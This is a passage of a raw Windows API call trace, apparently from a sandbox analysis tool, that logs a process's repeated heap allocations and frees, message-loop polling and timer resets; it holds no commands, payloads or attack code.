dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0135.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0135.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.315] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.316] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077af8 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0135.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0135.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0135.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0135.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0135.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0135.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0135.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0135.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0135.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0135.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0135.319] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.319] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0135.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0135.320] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0135.320] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0135.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0135.321] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f00 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077fa8 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f30 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b20 [0135.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f30 | out: hHeap=0xe80000) returned 1 [0135.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0135.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0135.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0135.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0135.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f90 [0135.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf878 [0135.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7c78 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa18 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0135.324] CharLowerBuffW (in: lpsz="byte[357376]", cchLength=0xc | out: lpsz="byte[357376]") returned 0xc [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0xf000b8 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9b8 [0135.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cc0 [0135.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf868 [0135.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0135.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0135.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0135.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0135.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0135.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0135.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0135.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f00 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f90 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7cb8 [0135.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0xf000e8 [0135.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0135.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf868 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.328] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf000b8 | out: hHeap=0xe80000) returned 1 [0135.328] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.328] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec790 | out: hHeap=0xe80000) returned 1 [0135.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0135.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7d18 [0135.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0xf00058 [0135.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077de0 [0135.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf878 [0135.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0135.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf000e8 | out: hHeap=0xe80000) returned 1 [0135.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0135.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2f40 | out: hHeap=0xe80000) returned 1 [0135.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0135.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b70 | out: hHeap=0xe80000) returned 1 [0135.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2338 | out: hHeap=0xe80000) returned 1 [0135.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4d0 | out: hHeap=0xe80000) returned 1 [0135.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077558 | out: hHeap=0xe80000) returned 1 [0135.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077528 | out: hHeap=0xe80000) returned 1 [0135.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1848 | out: hHeap=0xe80000) returned 1 [0135.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0135.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec22c8 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077db0 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2418 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec24f8 | out: hHeap=0xe80000) returned 1 [0135.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec23a8 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2450 | out: hHeap=0xe80000) returned 1 [0135.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0135.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba700 | out: hHeap=0xe80000) returned 1 [0135.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0135.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2220 | out: hHeap=0xe80000) returned 1 [0135.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0135.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0135.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0135.336] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba598 | out: hHeap=0xe80000) returned 1 [0135.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6d8 | out: hHeap=0xe80000) returned 1 [0135.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0135.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bd0 | out: hHeap=0xe80000) returned 1 [0135.338] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba1d8 | out: hHeap=0xe80000) returned 1 [0135.338] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.339] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba110 | out: hHeap=0xe80000) returned 1 [0135.339] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c18 | out: hHeap=0xe80000) returned 1 [0135.339] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31e0 | out: hHeap=0xe80000) returned 1 [0135.339] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.340] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0135.340] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0135.340] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0135.340] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0135.340] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.341] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.341] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077870 | out: hHeap=0xe80000) returned 1 [0135.341] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10775d0 | out: hHeap=0xe80000) returned 1 [0135.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0135.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ee0 | out: hHeap=0xe80000) returned 1 [0135.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10774f8 | out: hHeap=0xe80000) returned 1 [0135.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0135.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0135.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ca8 | out: hHeap=0xe80000) returned 1 [0135.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ae0 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7a0 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6b0 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0135.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0135.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0135.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0135.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0135.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0135.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0135.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0135.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0135.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0135.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0135.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x57400) returned 0x107f3f8 [0135.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0135.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf00058 | out: hHeap=0xe80000) returned 1 [0135.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0135.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0135.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0135.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0135.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0135.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0135.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0135.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x57400) returned 0x110c400 [0135.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0135.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.497] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0135.539] TranslateMessage (lpMsg=0xbdf794) returned 0 [0135.539] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0135.539] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0135.539] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0135.539] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.539] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0135.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 